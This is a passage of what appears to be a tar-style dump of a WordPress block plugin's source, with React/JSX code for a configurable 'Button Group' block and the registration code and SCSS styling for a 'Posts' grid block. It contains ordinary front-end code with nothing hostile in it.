import ControlPanelControl from '../../components/control-panel-control/index.js';

import IconPickerControl from '../../components/icon-picker-control/index.js';

import LinkControl from '../../components/link-control/index.js';

import SizingControl from '../../components/sizing-control/index.js';

import deprecated from './deprecated.js';

registerBlockType( 'themeisle-blocks/button-group', {
	title: __( 'Button Group' ),
	description: __( 'Prompt visitors to take action with a button group.' ),
	icon: buttonsIcon,
	category: 'themeisle-blocks',
	keywords: [
		__( 'buttons' ),
		__( 'button group' ),
		__( 'advanced buttons' )
	],
	attributes: {
		id: {
			type: 'string'
		},
		buttons: {
			type: 'number',
			default: 2
		},
		align: {
			type: 'string'
		},
		spacing: {
			type: 'number',
			default: 20
		},
		collapse: {
			type: 'string',
			default: 'collapse-none'
		},
		fontSize: {
			type: 'number',
			default: 18
		},
		fontFamily: {
			type: 'string'
		},
		fontVariant: {
			type: 'string'
		},
		textTransform: {
			type: 'string'
		},
		fontStyle: {
			type: 'string',
			default: 'normal'
		},
		lineHeight: {
			type: 'number'
		},
		data: {
			type: 'array',
			default: [
				{
					text: '',
					link: '',
					newTab: false,
					color: '#ffffff',
					background: '#32373c',
					border: '',
					hoverColor: '',
					hoverBackground: '',
					hoverBorder: '',
					borderSize: 0,
					borderRadius: 0,
					boxShadow: false,
					boxShadowColor: '',
					boxShadowColorOpacity: 50,
					boxShadowBlur: 5,
					boxShadowSpread: 1,
					boxShadowHorizontal: 0,
					boxShadowVertical: 0,
					hoverBoxShadowColor: '',
					hoverBoxShadowColorOpacity: 50,
					hoverBoxShadowBlur: 5,
					hoverBoxShadowSpread: 1,
					hoverBoxShadowHorizontal: 0,
					hoverBoxShadowVertical: 0,
					iconType: 'none',
					prefix: '',
					icon: '',
					paddingTopBottom: 12,
					paddingLeftRight: 24
				},
				{
					text: '',
					link: '',
					newTab: false,
					color: '#ffffff',
					background: '#32373c',
					border: '',
					hoverColor: '',
					hoverBackground: '',
					hoverBorder: '',
					borderSize: 0,
					borderRadius: 0,
					boxShadow: false,
					boxShadowColor: '',
					boxShadowColorOpacity: 50,
					boxShadowBlur: 5,
					boxShadowSpread: 1,
					boxShadowHorizontal: 0,
					boxShadowVertical: 0,
					hoverBoxShadowColor: '',
					hoverBoxShadowColorOpacity: 50,
					hoverBoxShadowBlur: 5,
					hoverBoxShadowSpread: 1,
					hoverBoxShadowHorizontal: 0,
					hoverBoxShadowVertical: 0,
					iconType: 'none',
					prefix: '',
					icon: '',
					paddingTopBottom: 12,
					paddingLeftRight: 24
				}
			]
		}
	},

	deprecated: deprecated,

	edit: compose([

		withSelect( ( select, props ) => {
			return {
				props
			};
		}),

		withState({
			tab: 'buttons',
			selectedButton: 0,
			hover: false,
			wait: false
		})

	])( ({
		tab,
		selectedButton,
		hover,
		wait,
		setState,
		props
	}) => {

		const {
			id,
			buttons,
			align,
			spacing,
			collapse,
			fontSize,
			fontFamily,
			fontStyle,
			fontVariant,
			textTransform,
			lineHeight,
			data
		} = props.attributes;

		if ( id === undefined || id.substr( id.length - 8 ) !== props.clientId.substr( 0, 8 ) ) {
			const instanceId = `wp-block-themeisle-blocks-button-group-${ props.clientId.substr( 0, 8 ) }`;
			props.setAttributes({ id: instanceId });
		}

		const changeButton = value => {
			setState({
				selectedButton: value,
				wait: true
			});

			setTimeout( () => {
				setState({ wait: false  });
			}, 500 );
		};

		const changeButtons = value => {
			if ( 1 <= value && 5 >= value ) {
				if ( data.length < value ) {
					times( value - data.length, i => {
						data.push({
							text: data[0].text,
							link: data[0].link,
							newTab: data[0].newTab,
							color: data[0].color,
							border: data[0].border,
							background: data[0].background,
							hoverColor: data[0].hoverColor,
							hoverBackground: data[0].hoverBackground,
							hoverBorder: data[0].hoverBorder,
							borderSize: data[0].borderSize,
							borderRadius: data[0].borderRadius,
							boxShadow: data[0].boxShadow,
							boxShadowColor: data[0].boxShadowColor,
							boxShadowColorOpacity: data[0].boxShadowColorOpacity,
							boxShadowBlur: data[0].boxShadowBlur,
							boxShadowSpread: data[0].boxShadowSpread,
							boxShadowHorizontal: data[0].boxShadowHorizontal,
							boxShadowVertical: data[0].boxShadowVertical,
							hoverBoxShadowColor: data[0].hoverBoxShadowColor,
							hoverBoxShadowColorOpacity: data[0].hoverBoxShadowColorOpacity,
							hoverBoxShadowBlur: data[0].hoverBoxShadowBlur,
							hoverBoxShadowSpread: data[0].hoverBoxShadowSpread,
							hoverBoxShadowHorizontal: data[0].hoverBoxShadowHorizontal,
							hoverBoxShadowVertical: data[0].hoverBoxShadowVertical,
							iconType: data[0].iconType,
							prefix: data[0].prefix,
							icon: data[0].icon,
							paddingTopBottom: data[0].paddingTopBottom,
							paddingLeftRight: data[0].paddingLeftRight
						});
					});

					props.setAttributes({ data: data });
				}
				props.setAttributes({ buttons: value });
				setState({ selectedButton: 0 });
			}
		};

		const changeAlignment = value => {
			props.setAttributes({ align: value });
		};

		const changeSpacing = value => {
			props.setAttributes({ spacing: value });
		};

		const changeCollapse = value => {
			props.setAttributes({ collapse: value });
		};

		const changeFontSize = value => {
			props.setAttributes({ fontSize: value });
		};

		const changeFontFamily = value => {
			props.setAttributes({
				fontFamily: value,
				fontVariant: 'normal',
				fontStyle: 'normal'
			});
		};

		const changeFontVariant = value => {
			props.setAttributes({ fontVariant: value });
		};

		const changeFontStyle = value => {
			props.setAttributes({ fontStyle: value });
		};

		const changeTextTransform = value => {
			props.setAttributes({ textTransform: value });
		};

		const changeLineHeight = value => {
			props.setAttributes({ lineHeight: value });
		};

		const changePadding = ( type, value, index ) => {
			if ( 'top' === type || 'bottom' === type ) {
				updateButton({ paddingTopBottom: value }, index );
			}

			if ( 'left' === type || 'right' === type ) {
				updateButton({ paddingLeftRight: value }, index );
			}
		};

		const updateButton = ( value, index ) => {
			const updatedData = data.map( ( item, i ) => {
				if ( index === i ) {
					item = { ...item, ...value };
				}
				return item;
			});

			props.setAttributes({
				data: updatedData
			});
		};

		const style = {
			fontSize: `${ fontSize }px`,
			fontFamily: fontFamily,
			fontWeight: fontVariant,
			fontStyle: fontStyle,
			textTransform: textTransform,
			lineHeight: lineHeight && `${ lineHeight }px`
		};

		const button = i => {
			let boxShadowStyle = {};

			if ( data[i].boxShadow ) {
				boxShadowStyle = {
					boxShadow: `${ data[i].boxShadowHorizontal }px ${ data[i].boxShadowVertical }px ${ data[i].boxShadowBlur }px ${ data[i].boxShadowSpread }px ${  hexToRgba( ( data[i].boxShadowColor ? data[i].boxShadowColor : '#000000' ), data[i].boxShadowColorOpacity ) }`
				};
			}
			const buttonStyle = {
				...style,
				color: data[i].color,
				background: data[i].background,
				border: `${ data[i].borderSize }px solid ${ data[i].border }`,
				borderRadius: `${ data[i].borderRadius }px`,
				...boxShadowStyle,
				padding: `${ data[i].paddingTopBottom }px ${ data[i].paddingLeftRight }px `,
				marginLeft: 0 === i ? '0px' : `${ spacing / 2 }px`,
				marginRight: buttons === i + 1 ? '0px' : `${ spacing / 2 }px`
			};

			return (
				<Fragment>
					<style>
						{ `#${ id } .wp-block-themeisle-blocks-button-${ i }:hover {
							color: ${ data[i].hoverColor ? data[i].hoverColor : data[i].color } !important;
							background: ${ data[i].hoverBackground ? data[i].hoverBackground : data[i].background } !important;
							border: ${ data[i].borderSize }px solid ${ data[i].hoverBorder ? data[i].hoverBorder : data[i].border } !important;
							${ data[i].boxShadow && ( `box-shadow: ${ data[i].hoverBoxShadowHorizontal }px ${ data[i].hoverBoxShadowVertical }px ${ data[i].hoverBoxShadowBlur }px ${ data[i].hoverBoxShadowSpread }px ${  hexToRgba( ( data[i].hoverBoxShadowColor ? data[i].hoverBoxShadowColor : '#000000' ), data[i].hoverBoxShadowColorOpacity ) } !important;` ) }
						}` }
					</style>
					<div
						style={ buttonStyle }
						className={ classnames(
							'wp-block-themeisle-blocks-button',
							`wp-block-themeisle-blocks-button-${ i }`
						) }
						onClick={ () => changeButton( i ) }
					>
						{ ( 'left' === data[i].iconType || 'only' === data[i].iconType ) && (
							<i className={ classnames(
								data[i].prefix,
								'fa-fw',
								`fa-${ data[i].icon }`,
								{ 'margin-right': 'left' === data[i].iconType }
							) }>
							</i>
						) }

						{ 'only' !== data[i].iconType && (
							<RichText
								placeholder={ __( 'Add text…' ) }
								value={ data[i].text }
								aria-label={ unescapeHTML( data[i].text ) }
								onChange={ e => updateButton({ text: e }, i ) }
								formattingControls={ [ 'bold', 'italic', 'strikethrough' ] }
								tagName="span"
								keepPlaceholderOnFocus
							/>
						) }

						{ 'right' === data[i].iconType && (
							<i className={ `${ data[i].prefix } fa-fw fa-${ data[i].icon } margin-left` }></i>
						) }
					</div>
				</Fragment>
			);
		};

		const collapseClass = 'collapse-none' !== collapse ? collapse : '';

		return (
			<Fragment>
				{ fontFamily && (
					<GoogleFontLoader fonts={ [ {
						font: fontFamily,
						weights: fontVariant && [ `${fontVariant + ( 'italic' === fontStyle ? ':i' : '' ) }` ]
					} ] } />
				) }

				<BlockControls>
					<AlignmentToolbar
						value={ align }
						onChange={ changeAlignment }
						alignmentControls={ [
							{
								icon: 'editor-alignleft',
								title: __( 'Align left' ),
								align: 'flex-start'
							},
							{
								icon: 'editor-aligncenter',
								title: __( 'Align center' ),
								align: 'center'
							},
							{
								icon: 'editor-alignright',
								title: __( 'Align right' ),
								align: 'flex-end'
							}
						] }
					/>

					<Toolbar
						className="wp-themesiel-blocks-button-group-components-toolbar"
					>
						<Dropdown
							contentClassName="wp-themesiel-blocks-button-group-popover-content"
							position="bottom center"
							renderToggle={ ({ isOpen, onToggle }) => (
								<IconButton
									className="components-dropdown-menu__toggle"
									icon={ 'editor-textcolor' }
									onClick={ onToggle }
									aria-haspopup="true"
									aria-expanded={ isOpen }
									label={ __( 'Typography Settings' ) }
									tooltip={ __( 'Typography Settings' ) }
								>
									<span className="components-dropdown-menu__indicator" />
								</IconButton>
							) }
							renderContent={ () => (
								<Fragment>
									<RangeControl
										label={ __( 'Font Size' ) }
										value={ fontSize }
										onChange={ changeFontSize }
										min={ 0 }
										max={ 50 }
									/>

									<GoogleFontsControl
										label={ __( 'Font Family' ) }
										value={ fontFamily }
										onChangeFontFamily={ changeFontFamily }
										isSelect={ true }
										valueVariant={ fontVariant }
										onChangeFontVariant={ changeFontVariant }
										valueStyle={ fontStyle }
										onChangeFontStyle={ changeFontStyle }
										valueStyle={ fontStyle }
										onChangeFontStyle={ changeFontStyle }
										valueTransform={ textTransform }
										onChangeTextTransform={ changeTextTransform }
									/>

									<RangeControl
										label={ __( 'Line Height' ) }
										value={ lineHeight }
										onChange={ changeLineHeight }
										min={ 0 }
										max={ 200 }
									/>
								</Fragment>
							) }
						/>
					</Toolbar>
				</BlockControls>

				<InspectorControls>
					<PanelBody className="wp-block-themeisle-blocks-button-group-header-panel">
						<Button
							className={ classnames(
								'header-tab',
								{ 'is-selected': 'buttons' === tab }
							) }
							onClick={ () => setState({ tab: 'buttons' }) }
						>
							<span
							>
								<Icon
									icon={ buttonsIcon }
								/>
								{ __( 'Buttons' ) }
							</span>
						</Button>

						<Button
							className={ classnames(
								'header-tab',
								{ 'is-selected': 'group' === tab }
							) }
							onClick={ () => setState({ tab: 'group' }) }
						>
							<span
							>
								<Dashicon icon="admin-generic"/>
								{ __( 'Group Settings' ) }
							</span>
						</Button>
					</PanelBody>

					{ 'buttons' === tab && (

						<Fragment>
							<PanelBody
								opened={ true }
							>
								<RangeControl
									label={ __( 'Number of Buttons' ) }
									value={ buttons }
									onChange={ changeButtons }
									min={ 1 }
									max={ 5 }
								/>

								<BaseControl
									label={ __( 'Edit Button' ) }
								>
									<Dropdown
										contentClassName="wp-block-themeisle-blocks-select-button-popover"
										position="bottom center"
										renderToggle={ ({ isOpen, onToggle }) => (
											<Button
												isLarge
												className="wp-block-themeisle-blocks-select-button-button"
												onClick={ onToggle }
												aria-expanded={ isOpen }
											>
												{ __( 'Button' ) + ' ' + ( selectedButton + 1 ) + ': ' + unescapeHTML( data[selectedButton].text ) }
											</Button>
										) }
										renderContent={ ({ onToggle }) => (
											<MenuGroup>
												{ times( buttons, n => {
													return (
														<MenuItem
															onClick={ () => {
																changeButton( n );
																onToggle();
															}}
														>
															{ __( 'Button' ) + ' ' + ( n + 1 ) + ': ' + unescapeHTML( data[n].text ) }
														</MenuItem>
													);
												}) }
											</MenuGroup>
										) }
									/>
								</BaseControl>
							</PanelBody>

							{ wait ?
								<Placeholder>
									<Spinner/>
								</Placeholder> :
								<Fragment>
									<PanelBody
										title={ __( 'Link' ) }
									>
										<LinkControl
											label={ 'Link' }
											placeholder={ __( 'https://…' ) }
											value={ data[selectedButton].link }
											onChange={ e => updateButton({ link: e }, selectedButton ) }
										>
											<ToggleControl
												label={ 'Open in New Tab?' }
												checked={ data[selectedButton].newTab }
												onChange={ () => updateButton({ newTab: ! data[selectedButton].newTab }, selectedButton ) }
											/>
										</LinkControl>
									</PanelBody>

									<PanelBody
										title={ __( 'Color & Border' ) }
										initialOpen={ false }
									>
										<ButtonGroup className="wp-block-themeisle-blocks-button-group-hover-control">
											<Button
												isDefault
												isLarge
												isPrimary={ ! hover }
												onClick={ () => setState({ hover: false }) }
											>
												{ __( 'Normal' ) }
											</Button>
											<Button
												isDefault
												isLarge
												isPrimary={ hover }
												onClick={ () => setState({ hover: true }) }
											>
												{ __( 'Hover' ) }
											</Button>
										</ButtonGroup>

										{ hover ? (
											<Fragment>
												<BaseControl
													label={ 'Hover Color' }
												>
													<ColorPalette
														label={ 'Hover Color' }
														value={ data[selectedButton].hoverColor }
														onChange={ e => updateButton({ hoverColor: e }, selectedButton ) }
													/>
												</BaseControl>

												<BaseControl
													label={ 'Hover Background' }
												>
													<ColorPalette
														label={ 'Hover Background' }
														value={ data[selectedButton].hoverBackground }
														onChange={ e => updateButton({ hoverBackground: e }, selectedButton ) }
													/>
												</BaseControl>

												<BaseControl
													label={ 'Hover Border' }
												>
													<ColorPalette
														label={ 'Hover Border' }
														value={ data[selectedButton].hoverBorder }
														onChange={ e => updateButton({ hoverBorder: e }, selectedButton ) }
													/>
												</BaseControl>
											</Fragment>
										) : (
											<Fragment>
												<BaseControl
													label={ 'Color' }
												>
													<ColorPalette
														label={ 'Color' }
														value={ data[selectedButton].color }
														onChange={ e => updateButton({ color: e }, selectedButton ) }
													/>
												</BaseControl>

												<BaseControl
													label={ 'Background' }
												>
													<ColorPalette
														label={ 'Background' }
														value={ data[selectedButton].background }
														onChange={ e => updateButton({ background: e }, selectedButton ) }
													/>
												</BaseControl>

												<BaseControl
													label={ 'Border' }
												>
													<ColorPalette
														label={ 'Border' }
														value={ data[selectedButton].border }
														onChange={ e => updateButton({ border: e }, selectedButton ) }
													/>
												</BaseControl>
											</Fragment>
										) }

										<RangeControl
											label={ __( 'Border Width' ) }
											className="border-width"
											beforeIcon="move"
											value={ data[selectedButton].borderSize }
											onChange={ e => updateButton({ borderSize: e }, selectedButton ) }
											min={ 0 }
											max={ 10 }
										/>

										<RangeControl
											label={ __( 'Border Radius' ) }
											beforeIcon="move"
											value={ data[selectedButton].borderRadius }
											onChange={ e => updateButton({ borderRadius: e }, selectedButton ) }
											min={ 0 }
											max={ 100 }
										/>
									</PanelBody>

									<PanelBody
										title={ __( 'Box Shadow' ) }
										initialOpen={ false }
									>
										<ToggleControl
											label={ 'Box Shadow' }
											checked={ data[selectedButton].boxShadow }
											onChange={ e => updateButton({ boxShadow: ! data[selectedButton].boxShadow }, selectedButton ) }
										/>

										{ data[selectedButton].boxShadow && (
											<Fragment>
												<ButtonGroup className="wp-block-themeisle-blocks-button-group-hover-control" >
													<Button
														isDefault
														isLarge
														isPrimary={ ! hover }
														onClick={ () => setState({ hover: false }) }
													>
														{ __( 'Normal' ) }
													</Button>
													<Button
														isDefault
														isLarge
														isPrimary={ hover }
														onClick={ () => setState({ hover: true }) }
													>
														{ __( 'Hover' ) }
													</Button>
												</ButtonGroup>

												{ ! hover && (
													<Fragment>
														<BaseControl
															label={ 'Shadow Color' }
														>
															<ColorPalette
																label={ 'Shadow Color' }
																value={ data[selectedButton].boxShadowColor }
																onChange={ e => updateButton({ boxShadowColor: e }, selectedButton ) }
															/>
														</BaseControl>

														<ControlPanelControl
															label={ 'Shadow Properties' }
														>

															<RangeControl
																label={ __( 'Opacity' ) }
																value={ data[selectedButton].boxShadowColorOpacity }
																onChange={ e => updateButton({ boxShadowColorOpacity: e }, selectedButton ) }
																min={ 0 }
																max={ 100 }
															/>

															<RangeControl
																label={ __( 'Blur' ) }
																value={ data[selectedButton].boxShadowBlur }
																onChange={ e => updateButton({ boxShadowBlur: e }, selectedButton ) }
																min={ 0 }
																max={ 100 }
															/>

															<RangeControl
																label={ __( 'Spread' ) }
																value={ data[selectedButton].boxShadowSpread }
																onChange={ e => updateButton({ boxShadowSpread: e }, selectedButton ) }
																min={ -100 }
																max={ 100 }
															/>

															<RangeControl
																label={ __( 'Horizontal' ) }
																value={ data[selectedButton].boxShadowHorizontal }
																onChange={ e => updateButton({ boxShadowHorizontal: e }, selectedButton ) }
																min={ -100 }
																max={ 100 }
															/>

															<RangeControl
																label={ __( 'Vertical' ) }
																value={ data[selectedButton].boxShadowVertical }
																onChange={ e => updateButton({ boxShadowVertical: e }, selectedButton ) }
																min={ -100 }
																max={ 100 }
															/>

														</ControlPanelControl>
													</Fragment>
												) || hover && (
													<Fragment>
														<BaseControl
															label={ 'Hover Shadow Color' }
														>
															<ColorPalette
																label={ 'Hover Shadow Color' }
																value={ data[selectedButton].hoverBoxShadowColor }
																onChange={ e => updateButton({ hoverBoxShadowColor: e }, selectedButton ) }
															/>
														</BaseControl>


														<ControlPanelControl
															label={ 'Hover Shadow Properties' }
														>

															<RangeControl
																label={ __( 'Opacity' ) }
																value={ data[selectedButton].hoverBoxShadowColorOpacity }
																onChange={ e => updateButton({ hoverBoxShadowColorOpacity: e }, selectedButton ) }
																min={ 0 }
																max={ 100 }
															/>

															<RangeControl
																label={ __( 'Blur' ) }
																value={ data[selectedButton].hoverBoxShadowBlur }
																onChange={ e => updateButton({ hoverBoxShadowBlur: e }, selectedButton ) }
																min={ 0 }
																max={ 100 }
															/>

															<RangeControl
																label={ __( 'Spread' ) }
																value={ data[selectedButton].hoverBoxShadowSpread }
																onChange={ e => updateButton({ hoverBoxShadowSpread: e }, selectedButton ) }
																min={ -100 }
																max={ 100 }
															/>

															<RangeControl
																label={ __( 'Horizontal' ) }
																value={ data[selectedButton].hoverBoxShadowHorizontal }
																onChange={ e => updateButton({ hoverBoxShadowHorizontal: e }, selectedButton ) }
																min={ -100 }
																max={ 100 }
															/>

															<RangeControl
																label={ __( 'Vertical' ) }
																value={ data[selectedButton].hoverBoxShadowVertical }
																onChange={ e => updateButton({ hoverBoxShadowVertical: e }, selectedButton ) }
																min={ -100 }
																max={ 100 }
															/>

														</ControlPanelControl>
													</Fragment>
												) }
											</Fragment>
										) }
									</PanelBody>

									<PanelBody
										title={ __( 'Icon Settings' ) }
										initialOpen={ false }
									>
										<SelectControl
											label={ __( 'Icon Position' ) }
											value={ data[selectedButton].iconType }
											options={ [
												{ label: 'No Icon', value: 'none' },
												{ label: 'Left', value: 'left' },
												{ label: 'Right', value: 'right' },
												{ label: 'Icon Only', value: 'only' }
											] }
											onChange={ e => updateButton({ iconType: e }, selectedButton ) }
										/>

										{ 'none' !== data[selectedButton].iconType && (
											<Fragment>
												<IconPickerControl
													label={ __( 'Icon Picker' ) }
													prefix={ data[selectedButton].prefix }
													icon={ data[selectedButton].icon }
													onChange={ e => {
														if ( 'object' === typeof e ) {
															updateButton({
																icon: e.name,
																prefix: e.prefix
															}, selectedButton );
														} else {
															updateButton({ icon: e }, selectedButton );
														}
													}}
												/>
											</Fragment>
										) }
									</PanelBody>

									<PanelBody
										title={ __( 'Padding' ) }
										initialOpen={ false }
									>
										<SizingControl
											label={ __( 'Padding' ) }
											min={ 0 }
											max={ 100 }
											onChange={ ( type, value ) => changePadding( type, value, selectedButton ) }
											options={ [
												{
													label: __( 'Top' ),
													type: 'top',
													value: data[selectedButton].paddingTopBottom
												},
												{
													label: __( 'Right' ),
													type: 'right',
													value: data[selectedButton].paddingLeftRight
												},
												{
													label: __( 'Bottom' ),
													type: 'bottom',
													value: data[selectedButton].paddingTopBottom
												},
												{
													label: __( 'Left' ),
													type: 'left',
													value: data[selectedButton].paddingLeftRight
												}
											] }
										/>
									</PanelBody>
								</Fragment>
							}
						</Fragment>

					) || 'group' === tab && (
						<Fragment>
							<PanelBody
								title={ __( 'Spacing' ) }
							>
								<RangeControl
									label={ __( 'Spacing' ) }
									value={ spacing }
									onChange={ changeSpacing }
									min={ 0 }
									max={ 50 }
								/>

								<SelectControl
									label={ __( 'Collapse On' ) }
									value={ collapse }
									options={ [
										{ label: 'None', value: 'collapse-none' },
										{ label: 'Desktop', value: 'collapse-desktop' },
										{ label: 'Tablet', value: 'collapse-tablet' },
										{ label: 'Mobile', value: 'collapse-mobile' }
									] }
									onChange={ changeCollapse }
								/>
							</PanelBody>

							<PanelBody
								title={ __( 'Typography Settings' ) }
								initialOpen={ false }
							>
								<RangeControl
									label={ __( 'Font Size' ) }
									value={ fontSize }
									onChange={ changeFontSize }
									min={ 0 }
									max={ 50 }
								/>

								<GoogleFontsControl
									label={ __( 'Font Family' ) }
									value={ fontFamily }
									onChangeFontFamily={ changeFontFamily }
									valueVariant={ fontVariant }
									onChangeFontVariant={ changeFontVariant }
									valueStyle={ fontStyle }
									onChangeFontStyle={ changeFontStyle }
									valueStyle={ fontStyle }
									onChangeFontStyle={ changeFontStyle }
									valueTransform={ textTransform }
									onChangeTextTransform={ changeTextTransform }
								/>

								<RangeControl
									label={ __( 'Line Height' ) }
									value={ lineHeight }
									onChange={ changeLineHeight }
									min={ 0 }
									max={ 200 }
								/>
							</PanelBody>
						</Fragment>
					) }
				</InspectorControls>

				<div
					id={ id }
					className={ classnames(
						props.className,
						collapseClass
					) }
					style={ {
						justifyContent: align,
						alignItems: align ? align : 'flex-start'
					} }
				>
					{ times( buttons, i => button( i ) ) }
				</div>
			</Fragment>
		);
	}),

	save: props => {
		const {
			id,
			buttons,
			align,
			collapse,
			fontSize,
			fontFamily,
			fontStyle,
			fontVariant,
			textTransform,
			lineHeight,
			data
		} = props.attributes;

		const style = {
			fontSize: `${ fontSize }px`,
			fontFamily: fontFamily,
			fontWeight: fontVariant,
			fontStyle: fontStyle,
			textTransform: textTransform,
			lineHeight: lineHeight && `${ lineHeight }px`
		};

		const button = i => {
			const buttonStyle = {
				...style,
				borderWidth: `${ data[i].borderSize }px`,
				borderRadius: `${ data[i].borderRadius }px`,
				padding: `${ data[i].paddingTopBottom }px ${ data[i].paddingLeftRight }px `
			};

			return (
				<Fragment>
					<a
						href={ data[i].link }
						target={ data[i].newTab ? '_blank' : '_self' }
						className={ classnames(
							'wp-block-themeisle-blocks-button',
							`wp-block-themeisle-blocks-button-${ i }`
						) }
						style={ buttonStyle }
						rel="noopener noreferrer"
					>
						{ ( 'left' === data[i].iconType || 'only' === data[i].iconType ) && (
							<i className={ classnames(
								data[i].prefix,
								'fa-fw',
								`fa-${ data[i].icon }`,
								{ 'margin-right': 'left' === data[i].iconType }
							) }>
							</i>
						) }

						{ 'only' !== data[i].iconType && (
							<RichText.Content
								tagName="span"
								value={ data[i].text }
							/>
						) }

						{ 'right' === data[i].iconType && (
							<i className={ `${ data[i].prefix } fa-fw fa-${ data[i].icon } margin-left` }></i>
						) }
					</a>
				</Fragment>
			);
		};

		const collapseClass = 'collapse-none' !== collapse ? collapse : '';

		return (
			<div
				id={ id }
				className={ classnames(
					props.className,
					collapseClass
				) }
				style={ {
					justifyContent: align,
					alignItems: align ? align : 'flex-start'
				} }
			>
				{ times( buttons, i => button( i ) ) }
			</div>
		);
	}
});
posts/index.js000066600000002771151151722000007366 0ustar00/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

/**
 * Internal dependencies
 */
import './style.scss';
import './editor.scss';

import { postsIcon } from '../../helpers/icons.js';

import Editor from './components/Editor.js';

registerBlockType( 'themeisle-blocks/posts-grid', {
	title: __( 'Posts' ),
	description: __( 'Display a list of your most recent posts in a beautiful layout.' ),
	icon: postsIcon,
	category: 'themeisle-blocks',
	keywords: [
		'posts',
		'grid',
		'news'
	],
	attributes: {
		style: {
			type: 'string',
			default: 'grid'
		},
		columns: {
			type: 'number',
			default: 3
		},
		template: {
			type: 'array',
			default: [
				'category',
				'title',
				'meta',
				'description'
			]
		},
		categories: {
			type: 'string'
		},
		postsToShow: {
			type: 'number',
			default: 5
		},
		order: {
			type: 'string',
			default: 'desc'
		},
		orderBy: {
			type: 'string',
			default: 'date'
		},
		imageSize: {
			type: 'string',
			default: 'full'
		},
		displayFeaturedImage: {
			type: 'boolean',
			default: true
		},
		displayCategory: {
			type: 'boolean',
			default: true
		},
		displayTitle: {
			type: 'boolean',
			default: true
		},
		displayMeta: {
			type: 'boolean',
			default: true
		},
		displayDescription: {
			type: 'boolean',
			default: true
		},
		excerptLength: {
			type: 'number',
			default: 100
		}
	},

	supports: {
		align: [ 'wide', 'full' ],
		html: false
	},

	edit: Editor,

	save: () => {
		return null;
	}
});
posts/editor.scss000066600000006657151151722000010113 0ustar00.wp-block-themeisle-blocks-posts-grid {
	display: flex;
	flex-wrap: wrap;

	&.is-grid {

		&.posts-grid-columns-2 {
			.posts-grid-post-blog {
				flex: 0 0 50%;
				max-width: 50%;
			}
		}
	
		&.posts-grid-columns-3 {
			.posts-grid-post-blog {
				flex: 0 0 33%;
				max-width: 33%;
			}
		}
	
		&.posts-grid-columns-4 {
			.posts-grid-post-blog {
				flex: 0 0 25%;
				max-width: 25%;
			}
		}
	
		&.posts-grid-columns-5 {
			.posts-grid-post-blog {
				flex: 0 0 20%;
				max-width: 20%;
			}
		}
	}

	&.is-list {
		.posts-grid-post {
			display: flex;
	
			.posts-grid-post-image {
				flex-basis: 33.33%;
				padding: 20px;
			}
	
			.posts-grid-post-body {
				flex-basis: 66.66%;
				padding-top: 20px;
			}
		}
	}

	.posts-grid-post-blog {
		width: 100%;
		position: relative;
		margin-bottom: 30px;
		padding: 10px 20px;
		display: inline-block;
		border: 0;
		position: relative;
		word-wrap: break-word;
		background-color: #fff;
		background-clip: border-box;

		.posts-grid-post {
			margin-bottom: 10px;

			.posts-grid-post-image {
				position: relative;
	
				img {
					box-shadow: 0 10px 25px 0 rgba( 0, 0, 0, .2 );
					max-width: 100%;
					border-radius: 5px;
				}
			}

			.posts-grid-post-body {

				&.is-full {
					flex-basis: 100%;
				}
	
				.posts-grid-post-category {
					font-size: 12px;
					text-transform: capitalize;
					font-weight: 700;
					margin: 5px 0;
				}
		
				.posts-grid-post-title {
					font-size: 18px;
					margin: 10px 0;
					line-height: 1.25em;
		
					a {
						text-decoration: none;
						transition: all .15s ease 0s;
		
						&:hover {
							text-decoration: underline;
						}
					}
				}
		
				.posts-grid-post-meta {
					font-size: 14px;
					margin: 10px 0;
				}
		
				.posts-grid-post-description {
					font-size: 16px;
					margin: 10px 0;
				}}
		}
	}
}

.wp-block-themeisle-blocks-posts-grid-builder-item {
	display: flex;
	background: #ffffff;
	border: 1px solid #d5dadf;
	margin: 10px 0;
	z-index: 999999;

	&:hover {
		background: #fafafb;
	}

	&.disabled {
		.wp-block-themeisle-blocks-posts-grid-builder-label {
			flex-basis: 80%;
			padding-left: 15px;
		}

		&:hover {
			background: #ffffff;
		}
	}

	.wp-block-themeisle-blocks-posts-grid-builder-handle {
		display: flex;
		justify-content: center;
		align-self: center;
		flex-basis: 20%;
		padding: 15px 0;
		cursor: grabbing;

		span {
			display: flex;
			align-self: center;
			width: 18px;
			height: 11px;
			background: linear-gradient(180deg,#000,#000 20%,#fff 0,#fff 40%,#000 0,#000 60%,#fff 0,#fff 80%,#000 0,#000);
		}
	}

	.wp-block-themeisle-blocks-posts-grid-builder-label {
		flex-basis: 60%;
		display: flex;
		align-items: center;

		&::selection {
			background: none;
		}
	}

	.wp-block-themeisle-blocks-posts-grid-builder-button {
		flex-basis: 20%;
		justify-content: center;
		padding: 10px 5px;
		border-left: 1px solid #d5dadf;
		border-radius: 0;

		&.components-icon-button:not(:disabled):not([aria-disabled="true"]):not(.is-default) {

			&:hover {
				background: #fafafb;
				border-radius: 0;
				box-shadow: none;
			}
		}
	}
}

@media ( min-width: 600px ) and ( max-width: 960px )  {
	.wp-block-themeisle-blocks-posts-grid {
		display: flex;
		flex-wrap: wrap;
	
		&.is-grid {
			.posts-grid-post-blog {
				min-width: 33%;
			}
		}
	}
}

@media ( max-width: 600px )  {
	.wp-block-themeisle-blocks-posts-grid {
		display: flex;
		flex-wrap: wrap;
	
		&.is-grid {
			.posts-grid-post-blog {
				min-width: 100%;
			}
		}
	}
}
posts/style.scss000066600000004662151151722000007757 0ustar00.wp-block-themeisle-blocks-posts-grid {
	display: flex;
	flex-wrap: wrap;

	&.is-grid {

		&.posts-grid-columns-2 {
			.posts-grid-post-blog {
				flex: 0 0 50%;
				max-width: 50%;
			}
		}
	
		&.posts-grid-columns-3 {
			.posts-grid-post-blog {
				flex: 0 0 33%;
				max-width: 33%;
			}
		}
	
		&.posts-grid-columns-4 {
			.posts-grid-post-blog {
				flex: 0 0 25%;
				max-width: 25%;
			}
		}
	
		&.posts-grid-columns-5 {
			.posts-grid-post-blog {
				flex: 0 0 20%;
				max-width: 20%;
			}
		}
	}

	&.is-list {
		.posts-grid-post {
			display: flex;
	
			.posts-grid-post-image {
				flex-basis: 33.33%;
				padding: 20px;
			}
	
			.posts-grid-post-body {
				flex-basis: 66.66%;
				padding-top: 20px;
			}
		}
	}

	.posts-grid-post-blog {
		width: 100%;
		position: relative;
		margin-bottom: 30px;
		padding: 10px 20px;
		display: inline-block;
		border: 0;
		position: relative;
		word-wrap: break-word;
		background-color: #fff;
